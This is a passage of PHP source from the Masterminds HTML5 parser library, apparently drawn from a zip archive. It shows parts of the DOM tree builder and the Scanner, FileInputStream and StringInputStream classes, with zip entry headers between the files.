    const IM_IN_SELECT_IN_TABLE = 16;

    const IM_AFTER_BODY = 17;

    const IM_IN_FRAMESET = 18;

    const IM_AFTER_FRAMESET = 19;

    const IM_AFTER_AFTER_BODY = 20;

    const IM_AFTER_AFTER_FRAMESET = 21;

    const IM_IN_SVG = 22;

    const IM_IN_MATHML = 23;

    protected $options = array();

    protected $stack = array();

    protected $current; // Pointer in the tag hierarchy.
    protected $rules;
    protected $doc;

    protected $frag;

    protected $processor;

    protected $insertMode = 0;

    /**
     * Track if we are in an element that allows only inline child nodes.
     *
     * @var string|null
     */
    protected $onlyInline;

    /**
     * Quirks mode is enabled by default.
     * Any document that is missing the DT will be considered to be in quirks mode.
     */
    protected $quirks = true;

    protected $errors = array();

    public function __construct($isFragment = false, array $options = array())
    {
        $this->options = $options;

        if (isset($options[self::OPT_TARGET_DOC])) {
            $this->doc = $options[self::OPT_TARGET_DOC];
        } else {
            $impl = new \DOMImplementation();
            // XXX:
            // Create the doctype. For now, we are always creating HTML5
            // documents, and attempting to up-convert any older DTDs to HTML5.
            $dt = $impl->createDocumentType('html');
            // $this->doc = \DOMImplementation::createDocument(NULL, 'html', $dt);
            $this->doc = $impl->createDocument(null, '', $dt);
            $this->doc->encoding = !empty($options['encoding']) ? $options['encoding'] : 'UTF-8';
        }

        $this->errors = array();

        $this->current = $this->doc; // ->documentElement;

        // Create a rules engine for tags.
        $this->rules = new TreeBuildingRules();

        $implicitNS = array();
        if (isset($this->options[self::OPT_IMPLICIT_NS])) {
            $implicitNS = $this->options[self::OPT_IMPLICIT_NS];
        } elseif (isset($this->options['implicitNamespaces'])) {
            $implicitNS = $this->options['implicitNamespaces'];
        }

        // Fill $nsStack with the defalut HTML5 namespaces, plus the "implicitNamespaces" array taken form $options
        array_unshift($this->nsStack, $implicitNS + array('' => self::NAMESPACE_HTML) + $this->implicitNamespaces);

        if ($isFragment) {
            $this->insertMode = static::IM_IN_BODY;
            $this->frag = $this->doc->createDocumentFragment();
            $this->current = $this->frag;
        }
    }

    /**
     * Get the document.
     */
    public function document()
    {
        return $this->doc;
    }

    /**
     * Get the DOM fragment for the body.
     *
     * This returns a DOMNodeList because a fragment may have zero or more
     * DOMNodes at its root.
     *
     * @see http://www.w3.org/TR/2012/CR-html5-20121217/syntax.html#concept-frag-parse-context
     *
     * @return \DOMDocumentFragment
     */
    public function fragment()
    {
        return $this->frag;
    }

    /**
     * Provide an instruction processor.
     *
     * This is used for handling Processor Instructions as they are
     * inserted. If omitted, PI's are inserted directly into the DOM tree.
     *
     * @param InstructionProcessor $proc
     */
    public function setInstructionProcessor(InstructionProcessor $proc)
    {
        $this->processor = $proc;
    }

    public function doctype($name, $idType = 0, $id = null, $quirks = false)
    {
        // This is used solely for setting quirks mode. Currently we don't
        // try to preserve the inbound DT. We convert it to HTML5.
        $this->quirks = $quirks;

        if ($this->insertMode > static::IM_INITIAL) {
            $this->parseError('Illegal placement of DOCTYPE tag. Ignoring: ' . $name);

            return;
        }

        $this->insertMode = static::IM_BEFORE_HTML;
    }

    /**
     * Process the start tag.
     *
     * @todo - XMLNS namespace handling (we need to parse, even if it's not valid)
     *       - XLink, MathML and SVG namespace handling
     *       - Omission rules: 8.1.2.4 Optional tags
     *
     * @param string $name
     * @param array  $attributes
     * @param bool   $selfClosing
     *
     * @return int
     */
    public function startTag($name, $attributes = array(), $selfClosing = false)
    {
        $lname = $this->normalizeTagName($name);

        // Make sure we have an html element.
        if (!$this->doc->documentElement && 'html' !== $name && !$this->frag) {
            $this->startTag('html');
        }

        // Set quirks mode if we're at IM_INITIAL with no doctype.
        if ($this->insertMode === static::IM_INITIAL) {
            $this->quirks = true;
            $this->parseError('No DOCTYPE specified.');
        }

        // SPECIAL TAG HANDLING:
        // Spec says do this, and "don't ask."
        // find the spec where this is defined... looks problematic
        if ('image' === $name && !($this->insertMode === static::IM_IN_SVG || $this->insertMode === static::IM_IN_MATHML)) {
            $name = 'img';
        }

        // Autoclose p tags where appropriate.
        if ($this->insertMode >= static::IM_IN_BODY && Elements::isA($name, Elements::AUTOCLOSE_P)) {
            $this->autoclose('p');
        }

        // Set insert mode:
        switch ($name) {
            case 'html':
                $this->insertMode = static::IM_BEFORE_HEAD;
                break;
            case 'head':
                if ($this->insertMode > static::IM_BEFORE_HEAD) {
                    $this->parseError('Unexpected head tag outside of head context.');
                } else {
                    $this->insertMode = static::IM_IN_HEAD;
                }
                break;
            case 'body':
                $this->insertMode = static::IM_IN_BODY;
                break;
            case 'svg':
                $this->insertMode = static::IM_IN_SVG;
                break;
            case 'math':
                $this->insertMode = static::IM_IN_MATHML;
                break;
            case 'noscript':
                if ($this->insertMode === static::IM_IN_HEAD) {
                    $this->insertMode = static::IM_IN_HEAD_NOSCRIPT;
                }
                break;
        }

        // Special case handling for SVG.
        if ($this->insertMode === static::IM_IN_SVG) {
            $lname = Elements::normalizeSvgElement($lname);
        }

        $pushes = 0;
        // when we found a tag thats appears inside $nsRoots, we have to switch the defalut namespace
        if (isset($this->nsRoots[$lname]) && $this->nsStack[0][''] !== $this->nsRoots[$lname]) {
            array_unshift($this->nsStack, array(
                '' => $this->nsRoots[$lname],
            ) + $this->nsStack[0]);
            ++$pushes;
        }
        $needsWorkaround = false;
        if (isset($this->options['xmlNamespaces']) && $this->options['xmlNamespaces']) {
            // when xmlNamespaces is true a and we found a 'xmlns' or 'xmlns:*' attribute, we should add a new item to the $nsStack
            foreach ($attributes as $aName => $aVal) {
                if ('xmlns' === $aName) {
                    $needsWorkaround = $aVal;
                    array_unshift($this->nsStack, array(
                        '' => $aVal,
                    ) + $this->nsStack[0]);
                    ++$pushes;
                } elseif ('xmlns' === (($pos = strpos($aName, ':')) ? substr($aName, 0, $pos) : '')) {
                    array_unshift($this->nsStack, array(
                        substr($aName, $pos + 1) => $aVal,
                    ) + $this->nsStack[0]);
                    ++$pushes;
                }
            }
        }

        if ($this->onlyInline && Elements::isA($lname, Elements::BLOCK_TAG)) {
            $this->autoclose($this->onlyInline);
            $this->onlyInline = null;
        }

        try {
            $prefix = ($pos = strpos($lname, ':')) ? substr($lname, 0, $pos) : '';

            if (false !== $needsWorkaround) {
                $xml = "<$lname xmlns=\"$needsWorkaround\" " . (strlen($prefix) && isset($this->nsStack[0][$prefix]) ? ("xmlns:$prefix=\"" . $this->nsStack[0][$prefix] . '"') : '') . '/>';

                $frag = new \DOMDocument('1.0', 'UTF-8');
                $frag->loadXML($xml);

                $ele = $this->doc->importNode($frag->documentElement, true);
            } else {
                if (!isset($this->nsStack[0][$prefix]) || ('' === $prefix && isset($this->options[self::OPT_DISABLE_HTML_NS]) && $this->options[self::OPT_DISABLE_HTML_NS])) {
                    $ele = $this->doc->createElement($lname);
                } else {
                    $ele = $this->doc->createElementNS($this->nsStack[0][$prefix], $lname);
                }
            }
        } catch (\DOMException $e) {
            $this->parseError("Illegal tag name: <$lname>. Replaced with <invalid>.");
            $ele = $this->doc->createElement('invalid');
        }

        if (Elements::isA($lname, Elements::BLOCK_ONLY_INLINE)) {
            $this->onlyInline = $lname;
        }

        // When we add some namespacess, we have to track them. Later, when "endElement" is invoked, we have to remove them.
        // When we are on a void tag, we do not need to care about namesapce nesting.
        if ($pushes > 0 && !Elements::isA($name, Elements::VOID_TAG)) {
            // PHP tends to free the memory used by DOM,
            // to avoid spl_object_hash collisions whe have to avoid garbage collection of $ele storing it into $pushes
            // see https://bugs.php.net/bug.php?id=67459
            $this->pushes[spl_object_hash($ele)] = array($pushes, $ele);
        }

        foreach ($attributes as $aName => $aVal) {
            // xmlns attributes can't be set
            if ('xmlns' === $aName) {
                continue;
            }

            if ($this->insertMode === static::IM_IN_SVG) {
                $aName = Elements::normalizeSvgAttribute($aName);
            } elseif ($this->insertMode === static::IM_IN_MATHML) {
                $aName = Elements::normalizeMathMlAttribute($aName);
            }

            $aVal = (string) $aVal;

            try {
                $prefix = ($pos = strpos($aName, ':')) ? substr($aName, 0, $pos) : false;

                if ('xmlns' === $prefix) {
                    $ele->setAttributeNS(self::NAMESPACE_XMLNS, $aName, $aVal);
                } elseif (false !== $prefix && isset($this->nsStack[0][$prefix])) {
                    $ele->setAttributeNS($this->nsStack[0][$prefix], $aName, $aVal);
                } else {
                    $ele->setAttribute($aName, $aVal);
                }
            } catch (\DOMException $e) {
                $this->parseError("Illegal attribute name for tag $name. Ignoring: $aName");
                continue;
            }

            // This is necessary on a non-DTD schema, like HTML5.
            if ('id' === $aName) {
                $ele->setIdAttribute('id', true);
            }
        }

        if ($this->frag !== $this->current && $this->rules->hasRules($name)) {
            // Some elements have special processing rules. Handle those separately.
            $this->current = $this->rules->evaluate($ele, $this->current);
        } else {
            // Otherwise, it's a standard element.
            $this->current->appendChild($ele);

            if (!Elements::isA($name, Elements::VOID_TAG)) {
                $this->current = $ele;
            }

            // Self-closing tags should only be respected on foreign elements
            // (and are implied on void elements)
            // See: https://www.w3.org/TR/html5/syntax.html#start-tags
            if (Elements::isHtml5Element($name)) {
                $selfClosing = false;
            }
        }

        // This is sort of a last-ditch attempt to correct for cases where no head/body
        // elements are provided.
        if ($this->insertMode <= static::IM_BEFORE_HEAD && 'head' !== $name && 'html' !== $name) {
            $this->insertMode = static::IM_IN_BODY;
        }

        // When we are on a void tag, we do not need to care about namesapce nesting,
        // but we have to remove the namespaces pushed to $nsStack.
        if ($pushes > 0 && Elements::isA($name, Elements::VOID_TAG)) {
            // remove the namespaced definded by current node
            for ($i = 0; $i < $pushes; ++$i) {
                array_shift($this->nsStack);
            }
        }

        if ($selfClosing) {
            $this->endTag($name);
        }

        // Return the element mask, which the tokenizer can then use to set
        // various processing rules.
        return Elements::element($name);
    }

    public function endTag($name)
    {
        $lname = $this->normalizeTagName($name);

        // Special case within 12.2.6.4.7: An end tag whose tag name is "br" should be treated as an opening tag
        if ('br' === $name) {
            $this->parseError('Closing tag encountered for void element br.');

            $this->startTag('br');
        }
        // Ignore closing tags for other unary elements.
        elseif (Elements::isA($name, Elements::VOID_TAG)) {
            return;
        }

        if ($this->insertMode <= static::IM_BEFORE_HTML) {
            // 8.2.5.4.2
            if (in_array($name, array(
                'html',
                'br',
                'head',
                'title',
            ))) {
                $this->startTag('html');
                $this->endTag($name);
                $this->insertMode = static::IM_BEFORE_HEAD;

                return;
            }

            // Ignore the tag.
            $this->parseError('Illegal closing tag at global scope.');

            return;
        }

        // Special case handling for SVG.
        if ($this->insertMode === static::IM_IN_SVG) {
            $lname = Elements::normalizeSvgElement($lname);
        }

        $cid = spl_object_hash($this->current);

        // XXX: HTML has no parent. What do we do, though,
        // if this element appears in the wrong place?
        if ('html' === $lname) {
            return;
        }

        // remove the namespaced definded by current node
        if (isset($this->pushes[$cid])) {
            for ($i = 0; $i < $this->pushes[$cid][0]; ++$i) {
                array_shift($this->nsStack);
            }
            unset($this->pushes[$cid]);
        }

        if (!$this->autoclose($lname)) {
            $this->parseError('Could not find closing tag for ' . $lname);
        }

        switch ($lname) {
            case 'head':
                $this->insertMode = static::IM_AFTER_HEAD;
                break;
            case 'body':
                $this->insertMode = static::IM_AFTER_BODY;
                break;
            case 'svg':
            case 'mathml':
                $this->insertMode = static::IM_IN_BODY;
                break;
        }
    }

    public function comment($cdata)
    {
        // TODO: Need to handle case where comment appears outside of the HTML tag.
        $node = $this->doc->createComment($cdata);
        $this->current->appendChild($node);
    }

    public function text($data)
    {
        // XXX: Hmmm.... should we really be this strict?
        if ($this->insertMode < static::IM_IN_HEAD) {
            // Per '8.2.5.4.3 The "before head" insertion mode' the characters
            // " \t\n\r\f" should be ignored but no mention of a parse error. This is
            // practical as most documents contain these characters. Other text is not
            // expected here so recording a parse error is necessary.
            $dataTmp = trim($data, " \t\n\r\f");
            if (!empty($dataTmp)) {
                // fprintf(STDOUT, "Unexpected insert mode: %d", $this->insertMode);
                $this->parseError('Unexpected text. Ignoring: ' . $dataTmp);
            }

            return;
        }
        // fprintf(STDOUT, "Appending text %s.", $data);
        $node = $this->doc->createTextNode($data);
        $this->current->appendChild($node);
    }

    public function eof()
    {
        // If the $current isn't the $root, do we need to do anything?
    }

    public function parseError($msg, $line = 0, $col = 0)
    {
        $this->errors[] = sprintf('Line %d, Col %d: %s', $line, $col, $msg);
    }

    public function getErrors()
    {
        return $this->errors;
    }

    public function cdata($data)
    {
        $node = $this->doc->createCDATASection($data);
        $this->current->appendChild($node);
    }

    public function processingInstruction($name, $data = null)
    {
        // XXX: Ignore initial XML declaration, per the spec.
        if ($this->insertMode === static::IM_INITIAL && 'xml' === strtolower($name)) {
            return;
        }

        // Important: The processor may modify the current DOM tree however it sees fit.
        if ($this->processor instanceof InstructionProcessor) {
            $res = $this->processor->process($this->current, $name, $data);
            if (!empty($res)) {
                $this->current = $res;
            }

            return;
        }

        // Otherwise, this is just a dumb PI element.
        $node = $this->doc->createProcessingInstruction($name, $data);

        $this->current->appendChild($node);
    }

    // ==========================================================================
    // UTILITIES
    // ==========================================================================

    /**
     * Apply normalization rules to a tag name.
     * See sections 2.9 and 8.1.2.
     *
     * @param string $tagName
     *
     * @return string The normalized tag name.
     */
    protected function normalizeTagName($tagName)
    {
        /*
         * Section 2.9 suggests that we should not do this. if (strpos($name, ':') !== false) { // We know from the grammar that there must be at least one other // char besides :, since : is not a legal tag start. $parts = explode(':', $name); return array_pop($parts); }
         */
        return $tagName;
    }

    protected function quirksTreeResolver($name)
    {
        throw new \Exception('Not implemented.');
    }

    /**
     * Automatically climb the tree and close the closest node with the matching $tag.
     *
     * @param string $tagName
     *
     * @return bool
     */
    protected function autoclose($tagName)
    {
        $working = $this->current;
        do {
            if (XML_ELEMENT_NODE !== $working->nodeType) {
                return false;
            }
            if ($working->tagName === $tagName) {
                $this->current = $working->parentNode;

                return true;
            }
        } while ($working = $working->parentNode);

        return false;
    }

    /**
     * Checks if the given tagname is an ancestor of the present candidate.
     *
     * If $this->current or anything above $this->current matches the given tag
     * name, this returns true.
     *
     * @param string $tagName
     *
     * @return bool
     */
    protected function isAncestor($tagName)
    {
        $candidate = $this->current;
        while (XML_ELEMENT_NODE === $candidate->nodeType) {
            if ($candidate->tagName === $tagName) {
                return true;
            }
            $candidate = $candidate->parentNode;
        }

        return false;
    }

    /**
     * Returns true if the immediate parent element is of the given tagname.
     *
     * @param string $tagName
     *
     * @return bool
     */
    protected function isParent($tagName)
    {
        return $this->current->tagName === $tagName;
    }
}
PK
h�\�w�[��=vendor/masterminds/html5/src/HTML5/Parser/FileInputStream.phpnu�[���<?php

namespace Masterminds\HTML5\Parser;

/**
 * The FileInputStream loads a file to be parsed.
 *
 * So right now we read files into strings and then process the
 * string. We chose to do this largely for the sake of expediency of
 * development, and also because we could optimize toward processing
 * arbitrarily large chunks of the input. But in the future, we'd
 * really like to rewrite this class to efficiently handle lower level
 * stream reads (and thus efficiently handle large documents).
 *
 * @deprecated since 2.4, to remove in 3.0. Use a string in the scanner instead.
 */
class FileInputStream extends StringInputStream implements InputStream
{
    /**
     * Load a file input stream.
     *
     * @param string $data     The file or url path to load.
     * @param string $encoding The encoding to use for the data.
     * @param string $debug    A fprintf format to use to echo the data on stdout.
     */
    public function __construct($data, $encoding = 'UTF-8', $debug = '')
    {
        // Get the contents of the file.
        $content = file_get_contents($data);

        parent::__construct($content, $encoding, $debug);
    }
}
PK
h�\�����,�,5vendor/masterminds/html5/src/HTML5/Parser/Scanner.phpnu�[���<?php

namespace Masterminds\HTML5\Parser;

use Masterminds\HTML5\Exception;

/**
 * The scanner scans over a given data input to react appropriately to characters.
 */
class Scanner
{
    const CHARS_HEX = 'abcdefABCDEF01234567890';
    const CHARS_ALNUM = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890';
    const CHARS_ALPHA = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';

    /**
     * The string data we're parsing.
     */
    private $data;

    /**
     * The current integer byte position we are in $data.
     */
    private $char;

    /**
     * Length of $data; when $char === $data, we are at the end-of-file.
     */
    private $EOF;

    /**
     * Parse errors.
     */
    public $errors = array();

    /**
     * Create a new Scanner.
     *
     * @param string $data     Data to parse.
     * @param string $encoding The encoding to use for the data.
     *
     * @throws Exception If the given data cannot be encoded to UTF-8.
     */
    public function __construct($data, $encoding = 'UTF-8')
    {
        if ($data instanceof InputStream) {
            @trigger_error('InputStream objects are deprecated since version 2.4 and will be removed in 3.0. Use strings instead.', E_USER_DEPRECATED);
            $data = (string) $data;
        }

        $data = UTF8Utils::convertToUTF8($data, $encoding);

        // There is good reason to question whether it makes sense to
        // do this here, since most of these checks are done during
        // parsing, and since this check doesn't actually *do* anything.
        $this->errors = UTF8Utils::checkForIllegalCodepoints($data);

        $data = $this->replaceLinefeeds($data);

        $this->data = $data;
        $this->char = 0;
        $this->EOF = strlen($data);
    }

    /**
     * Check if upcomming chars match the given sequence.
     *
     * This will read the stream for the $sequence. If it's
     * found, this will return true. If not, return false.
     * Since this unconsumes any chars it reads, the caller
     * will still need to read the next sequence, even if
     * this returns true.
     *
     * Example: $this->scanner->sequenceMatches('</script>') will
     * see if the input stream is at the start of a
     * '</script>' string.
     *
     * @param string $sequence
     * @param bool   $caseSensitive
     *
     * @return bool
     */
    public function sequenceMatches($sequence, $caseSensitive = true)
    {
        $portion = substr($this->data, $this->char, strlen($sequence));

        return $caseSensitive ? $portion === $sequence : 0 === strcasecmp($portion, $sequence);
    }

    /**
     * Get the current position.
     *
     * @return int The current intiger byte position.
     */
    public function position()
    {
        return $this->char;
    }

    /**
     * Take a peek at the next character in the data.
     *
     * @return string The next character.
     */
    public function peek()
    {
        if (($this->char + 1) < $this->EOF) {
            return $this->data[$this->char + 1];
        }

        return false;
    }

    /**
     * Get the next character.
     * Note: This advances the pointer.
     *
     * @return string The next character.
     */
    public function next()
    {
        ++$this->char;

        if ($this->char < $this->EOF) {
            return $this->data[$this->char];
        }

        return false;
    }

    /**
     * Get the current character.
     * Note, this does not advance the pointer.
     *
     * @return string The current character.
     */
    public function current()
    {
        if ($this->char < $this->EOF) {
            return $this->data[$this->char];
        }

        return false;
    }

    /**
     * Silently consume N chars.
     *
     * @param int $count
     */
    public function consume($count = 1)
    {
        $this->char += $count;
    }

    /**
     * Unconsume some of the data.
     * This moves the data pointer backwards.
     *
     * @param int $howMany The number of characters to move the pointer back.
     */
    public function unconsume($howMany = 1)
    {
        if (($this->char - $howMany) >= 0) {
            $this->char -= $howMany;
        }
    }

    /**
     * Get the next group of that contains hex characters.
     * Note, along with getting the characters the pointer in the data will be
     * moved as well.
     *
     * @return string The next group that is hex characters.
     */
    public function getHex()
    {
        return $this->doCharsWhile(static::CHARS_HEX);
    }

    /**
     * Get the next group of characters that are ASCII Alpha characters.
     * Note, along with getting the characters the pointer in the data will be
     * moved as well.
     *
     * @return string The next group of ASCII alpha characters.
     */
    public function getAsciiAlpha()
    {
        return $this->doCharsWhile(static::CHARS_ALPHA);
    }

    /**
     * Get the next group of characters that are ASCII Alpha characters and numbers.
     * Note, along with getting the characters the pointer in the data will be
     * moved as well.
     *
     * @return string The next group of ASCII alpha characters and numbers.
     */
    public function getAsciiAlphaNum()
    {
        return $this->doCharsWhile(static::CHARS_ALNUM);
    }

    /**
     * Get the next group of numbers.
     * Note, along with getting the characters the pointer in the data will be
     * moved as well.
     *
     * @return string The next group of numbers.
     */
    public function getNumeric()
    {
        return $this->doCharsWhile('0123456789');
    }

    /**
     * Consume whitespace.
     * Whitespace in HTML5 is: formfeed, tab, newline, space.
     *
     * @return int The length of the matched whitespaces.
     */
    public function whitespace()
    {
        if ($this->char >= $this->EOF) {
            return false;
        }

        $len = strspn($this->data, "\n\t\f ", $this->char);

        $this->char += $len;

        return $len;
    }

    /**
     * Returns the current line that is being consumed.
     *
     * @return int The current line number.
     */
    public function currentLine()
    {
        if (empty($this->EOF) || 0 === $this->char) {
            return 1;
        }

        // Add one to $this->char because we want the number for the next
        // byte to be processed.
        return substr_count($this->data, "\n", 0, min($this->char, $this->EOF)) + 1;
    }

    /**
     * Read chars until something in the mask is encountered.
     *
     * @param string $mask
     *
     * @return mixed
     */
    public function charsUntil($mask)
    {
        return $this->doCharsUntil($mask);
    }

    /**
     * Read chars as long as the mask matches.
     *
     * @param string $mask
     *
     * @return int
     */
    public function charsWhile($mask)
    {
        return $this->doCharsWhile($mask);
    }

    /**
     * Returns the current column of the current line that the tokenizer is at.
     *
     * Newlines are column 0. The first char after a newline is column 1.
     *
     * @return int The column number.
     */
    public function columnOffset()
    {
        // Short circuit for the first char.
        if (0 === $this->char) {
            return 0;
        }

        // strrpos is weird, and the offset needs to be negative for what we
        // want (i.e., the last \n before $this->char). This needs to not have
        // one (to make it point to the next character, the one we want the
        // position of) added to it because strrpos's behaviour includes the
        // final offset byte.
        $backwardFrom = $this->char - 1 - strlen($this->data);
        $lastLine = strrpos($this->data, "\n", $backwardFrom);

        // However, for here we want the length up until the next byte to be
        // processed, so add one to the current byte ($this->char).
        if (false !== $lastLine) {
            $findLengthOf = substr($this->data, $lastLine + 1, $this->char - 1 - $lastLine);
        } else {
            // After a newline.
            $findLengthOf = substr($this->data, 0, $this->char);
        }

        return UTF8Utils::countChars($findLengthOf);
    }

    /**
     * Get all characters until EOF.
     *
     * This consumes characters until the EOF.
     *
     * @return int The number of characters remaining.
     */
    public function remainingChars()
    {
        if ($this->char < $this->EOF) {
            $data = substr($this->data, $this->char);
            $this->char = $this->EOF;

            return $data;
        }

        return ''; // false;
    }

    /**
     * Replace linefeed characters according to the spec.
     *
     * @param $data
     *
     * @return string
     */
    private function replaceLinefeeds($data)
    {
        /*
         * U+000D CARRIAGE RETURN (CR) characters and U+000A LINE FEED (LF) characters are treated specially.
         * Any CR characters that are followed by LF characters must be removed, and any CR characters not
         * followed by LF characters must be converted to LF characters. Thus, newlines in HTML DOMs are
         * represented by LF characters, and there are never any CR characters in the input to the tokenization
         * stage.
         */
        $crlfTable = array(
            "\0" => "\xEF\xBF\xBD",
            "\r\n" => "\n",
            "\r" => "\n",
        );

        return strtr($data, $crlfTable);
    }

    /**
     * Read to a particular match (or until $max bytes are consumed).
     *
     * This operates on byte sequences, not characters.
     *
     * Matches as far as possible until we reach a certain set of bytes
     * and returns the matched substring.
     *
     * @param string $bytes Bytes to match.
     * @param int    $max   Maximum number of bytes to scan.
     *
     * @return mixed Index or false if no match is found. You should use strong
     *               equality when checking the result, since index could be 0.
     */
    private function doCharsUntil($bytes, $max = null)
    {
        if ($this->char >= $this->EOF) {
            return false;
        }

        if (0 === $max || $max) {
            $len = strcspn($this->data, $bytes, $this->char, $max);
        } else {
            $len = strcspn($this->data, $bytes, $this->char);
        }

        $string = (string) substr($this->data, $this->char, $len);
        $this->char += $len;

        return $string;
    }

    /**
     * Returns the string so long as $bytes matches.
     *
     * Matches as far as possible with a certain set of bytes
     * and returns the matched substring.
     *
     * @param string $bytes A mask of bytes to match. If ANY byte in this mask matches the
     *                      current char, the pointer advances and the char is part of the
     *                      substring.
     * @param int    $max   The max number of chars to read.
     *
     * @return string
     */
    private function doCharsWhile($bytes, $max = null)
    {
        if ($this->char >= $this->EOF) {
            return false;
        }

        if (0 === $max || $max) {
            $len = strspn($this->data, $bytes, $this->char, $max);
        } else {
            $len = strspn($this->data, $bytes, $this->char);
        }

        $string = (string) substr($this->data, $this->char, $len);
        $this->char += $len;

        return $string;
    }
}
PK
h�\��ز:%:%?vendor/masterminds/html5/src/HTML5/Parser/StringInputStream.phpnu�[���<?php
/**
 * Loads a string to be parsed.
 */

namespace Masterminds\HTML5\Parser;

/*
 *
* Based on code from html5lib:

Copyright 2009 Geoffrey Sneddon <http://gsnedders.com/>

Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the
    "Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:

The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

*/

// Some conventions:
// - /* */ indicates verbatim text from the HTML 5 specification
//   MPB: Not sure which version of the spec. Moving from HTML5lib to
//   HTML5-PHP, I have been using this version:
//   http://www.w3.org/TR/2012/CR-html5-20121217/Overview.html#contents
//
// - // indicates regular comments

/**
 * @deprecated since 2.4, to remove in 3.0. Use a string in the scanner instead.
 */
class StringInputStream implements InputStream
{
    /**
     * The string data we're parsing.
     */
    private $data;

    /**
     * The current integer byte position we are in $data.
     */
    private $char;

    /**
     * Length of $data; when $char === $data, we are at the end-of-file.
     */
    private $EOF;

    /**
     * Parse errors.
     */
    public $errors = array();

    /**
     * Create a new InputStream wrapper.
     *
     * @param string $data     Data to parse.
     * @param string $encoding The encoding to use for the data.
     * @param string $debug    A fprintf format to use to echo the data on stdout.
     */
    public function __construct($data, $encoding = 'UTF-8', $debug = '')
    {
        $data = UTF8Utils::convertToUTF8($data, $encoding);
        if ($debug) {
            fprintf(STDOUT, $debug, $data, strlen($data));
        }

        // There is good reason to question whether it makes sense to
        // do this here, since most of these checks are done during
        // parsing, and since this check doesn't actually *do* anything.
        $this->errors = UTF8Utils::checkForIllegalCodepoints($data);

        $data = $this->replaceLinefeeds($data);

        $this->data = $data;
        $this->char = 0;
        $this->EOF = strlen($data);
    }

    public function __toString()
    {
        return $this->data;
    }

    /**
     * Replace linefeed characters according to the spec.
     */
    protected function replaceLinefeeds($data)
    {
        /*
         * U+000D CARRIAGE RETURN (CR) characters and U+000A LINE FEED (LF) characters are treated specially.
         * Any CR characters that are followed by LF characters must be removed, and any CR characters not
         * followed by LF characters must be converted to LF characters. Thus, newlines in HTML DOMs are
         * represented by LF characters, and there are never any CR characters in the input to the tokenization
         * stage.
         */
        $crlfTable = array(
            "\0" => "\xEF\xBF\xBD",
            "\r\n" => "\n",
            "\r" => "\n",
        );

        return strtr($data, $crlfTable);
    }

    /**
     * Returns the current line that the tokenizer is at.
     */
    public function currentLine()
    {
        if (empty($this->EOF) || 0 === $this->char) {
            return 1;
        }
        // Add one to $this->char because we want the number for the next
        // byte to be processed.
        return substr_count($this->data, "\n", 0, min($this->char, $this->EOF)) + 1;
    }

    /**
     * @deprecated
     */
    public function getCurrentLine()
    {
        return $this->currentLine();
    }

    /**
     * Returns the current column of the current line that the tokenizer is at.
     * Newlines are column 0. The first char after a newline is column 1.
     *
     * @return int The column number.
     */
    public function columnOffset()
    {
        // Short circuit for the first char.
        if (0 === $this->char) {
            return 0;
        }
        // strrpos is weird, and the offset needs to be negative for what we
        // want (i.e., the last \n before $this->char). This needs to not have
        // one (to make it point to the next character, the one we want the
        // position of) added to it because strrpos's behaviour includes the
        // final offset byte.
        $backwardFrom = $this->char - 1 - strlen($this->data);
        $lastLine = strrpos($this->data, "\n", $backwardFrom);

        // However, for here we want the length up until the next byte to be
        // processed, so add one to the current byte ($this->char).
        if (false !== $lastLine) {
            $findLengthOf = substr($this->data, $lastLine + 1, $this->char - 1 - $lastLine);
        } else {
            // After a newline.
            $findLengthOf = substr($this->data, 0, $this->char);
        }

        return UTF8Utils::countChars($findLengthOf);
    }

    /**
     * @deprecated
     */
    public function getColumnOffset()
    {
        return $this->columnOffset();
    }

    /**
     * Get the current character.
     *
     * @return string The current character.
     */
    public function current()
    {
        return $this->data[$this->char];
    }

    /**
     * Advance the pointer.
     * This is part of the Iterator interface.
     */
    public function next()
    {
        ++$this->char;
    }

    /**
     * Rewind to the start of the string.
     */
    public function rewind()
    {
        $this->char = 0;
    }

    /**
     * Is the current pointer location valid.
     *
     * @return bool Whether the current pointer location is valid.
     */
    public function valid()
    {
        return $this->char < $this->EOF;
    }

    /**
     * Get all characters until EOF.
     *
     * This reads to the end of the file, and sets the read marker at the
     * end of the file.
     *
     * Note this performs bounds checking.
     *
     * @return string Returns the remaining text. If called when the InputStream is
     *                already exhausted, it returns an empty string.
     */
    public function remainingChars()
    {
        if ($this->char < $this->EOF) {
            $data = substr($this->data, $this->char);
            $this->char = $this->EOF;

            return $data;
        }

        return ''; // false;
    }

    /**
     * Read to a particular match (or until $max bytes are consumed).
     *
     * This operates on byte sequences, not characters.
     *
     * Matches as far as possible until we reach a certain set of bytes
     * and returns the matched substring.
     *
     * @param string $bytes Bytes to match.
     * @param int    $max   Maximum number of bytes to scan.
     *
     * @return mixed Index or false if no match is found. You should use strong
     *               equality when checking the result, since index could be 0.
     */
    public function charsUntil($bytes, $max = null)
    {
        if ($this->char >= $this->EOF) {
            return false;
        }

        if (0 === $max || $max) {
            $len = strcspn($this->data, $bytes, $this->char, $max);
        } else {
            $len = strcspn($this->data, $bytes, $this->char);
        }

        $string = (string) substr($this->data, $this->char, $len);
        $this->char += $len;

        return $string;
    }

    /**
     * Returns the string so long as $bytes matches.
     *
     * Matches as far as possible with a certain set of bytes
     * and returns the matched substring.
     *
     * @param string $bytes A mask of bytes to match. If ANY byte in this mask matches the
     *                      current char, the pointer advances and the char is part of the
     *                      substring.
     * @param int    $max   The max number of chars to read.
     *
     * @return string
     */
    public function charsWhile($bytes, $max = null)
    {
        if ($this->char >= $this->EOF) {
            return false;
        }

        if (0 === $max || $max) {
